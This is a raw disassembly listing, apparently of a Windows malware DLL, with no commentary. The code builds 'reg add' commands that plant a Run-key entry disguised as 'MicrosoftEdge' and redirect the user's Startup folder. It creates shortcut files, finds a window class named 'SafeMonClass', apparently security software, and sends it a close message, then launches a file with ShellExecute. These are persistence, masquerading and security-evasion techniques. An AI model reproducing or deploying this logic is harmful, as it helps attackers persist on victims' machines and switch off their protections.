lea rcx, [rbp + 0x1200]
call fcn.180003290
call fcn.180003100
mov r9, rax
mov r8, r14
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x10f0]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0xab0]
lea rdx, str.__s_
lea rcx, [rbp + 0x1640]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1640]
lea rdx, [rbp + 0xab0]
lea rcx, [rbp + 0x10f0]
call fcn.180003290
call fcn.180003100
mov r9, rax
mov r8, r14
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x890]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1200]
lea rdx, str.add__HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun___v__MicrosoftEdge___t_REG_SZ__d___s___f
lea rcx, [rbp + 0x1970]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1970]
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x890]
call fcn.180003290
call fcn.180003100
mov r9, rax
mov r8, r14
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.USER32.dll_wsprintfA]
mov r8, r14
lea rdx, str.add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v__Startup___t_REG_EXPAND_SZ__d___s___f
lea rcx, [rbp + 0x1750]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1750]
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x3e0]
call fcn.180003290
call fcn.180002a10
test eax, eax
je 0x180004d31
call fcn.1800031f0
test al, al
je 0x180004cb4
lea rcx, [rbp + 0x560]
call fcn.180002d50
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xdd0], 0x363351
xor edx, edx
mov r8d, 0xfb
lea rcx, [rbp + 0xdd4]
call fcn.180017aa0
movsd xmm0, qword [str.0SafeMonClass]
movsd qword [rbp + 0xcd0], xmm0
mov eax, dword [0x18004b020]
mov dword [rbp + 0xcd8], eax
movzx eax, word [0x18004b024]
mov word [rbp + 0xcdc], ax
xor edx, edx
mov r8d, 0xf1
lea rcx, [rbp + 0xcde]
call fcn.180017aa0
lea r8, [rbp + 0xcd0]
mov edx, 0xff
lea rcx, [rbp + 0xdd0]
call fcn.180020638
nop word [rax + rax]
xor r9d, r9d
lea r8, [rbp + 0xdd0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rbx, rax
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 1
jl 0x180004be0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rcx, rbx
call qword [sym.imp.USER32.dll_PostMessageA]
lea rdx, [0x18004b028]
lea rcx, [0x1800547e0]
call fcn.180008e00
lea rdx, [0x18004b028]
lea rcx, [0x1800547e0]
call fcn.180008e00
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x3e0]
call fcn.180002d50
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x890]
call fcn.18001c790
lea rcx, [rbp + 0x3e0]
call fcn.18001c790
lea rcx, [rbp + 0x10f0]
call fcn.18001c790
lea rcx, [rbp + 0x670]
call fcn.18001c790
lea rcx, [rbp + 0x9a0]
call fcn.18001c790
lea rcx, [rbp + 0x560]
call fcn.18001c790
call fcn.180003530
jmp 0x180004da9
lea rcx, [rbp + 0x3e0]
call fcn.180002d50
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x560]
call fcn.180002d50
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x890]
call fcn.18001c790
lea rcx, [rbp + 0x3e0]
call fcn.18001c790
lea rcx, [rbp + 0x10f0]
call fcn.18001c790
lea rcx, [rbp + 0x670]
call fcn.18001c790
lea rcx, [rbp + 0x9a0]
call fcn.18001c790
call fcn.180003530
lea rcx, [rbp + 0x560]
call fcn.18001c790
jmp 0x180004da9
call fcn.1800031f0
test al, al
jne 0x180004d45
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x890]
call fcn.18001c790
lea rcx, [rbp + 0x3e0]
call fcn.18001c790
lea rcx, [rbp + 0x670]
call fcn.18001c790
lea rcx, [rbp + 0x9a0]
call fcn.18001c790
call fcn.1800033d0
nop
test rdi, rdi
je 0x180004e09
mov rcx, qword [rbp + 0x130]
sub rcx, rdi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rdi
cmp rdx, 0x1000
jb 0x180004e00
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000518f
mov rcx, rdi
call fcn.180015238
nop
lea rcx, [rbp + 0x1a0]
call fcn.180008500
mov rcx, qword [rbp + 0x1c0]
test rcx, rcx
je 0x180004e3b
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x180004e3b
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180004e76
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004e71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005195
call fcn.180015238
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x180004ec1
mov rdx, qword [rbp - 0x60]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004ebb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000519b
call fcn.180015238
nop
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x180004f07
mov rdx, qword [rbp + 0x20]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004ef6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800051a1
call fcn.180015238
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r15
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2cc], edx
lea rcx, [rbp + 0x2e0]
call fcn.180007a70
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x2cc], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x380], rax
lea rcx, [rbp + 0x380]
call fcn.18001406c
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x180004fca
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004fc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800051a7
call fcn.180015238
mov qword [rbp], r15
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x180005015
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005010
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800051ad
call fcn.180015238
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], 0xf
mov byte [rbp + 0x28], 0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x180005067
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005061
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800051b3
call fcn.180015238
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x1800050a8
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800050a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800051b9
call fcn.180015238
mov qword [rbp + 0xd8], r15
mov qword [rbp + 0xe0], 0xf
mov byte [rbp + 0xc8], 0
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0x10
jb 0x1800050fe
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800050f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005129
call fcn.180015238
lea r11, [rsp + 0x2290]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
nop
call fcn.18002114c
int3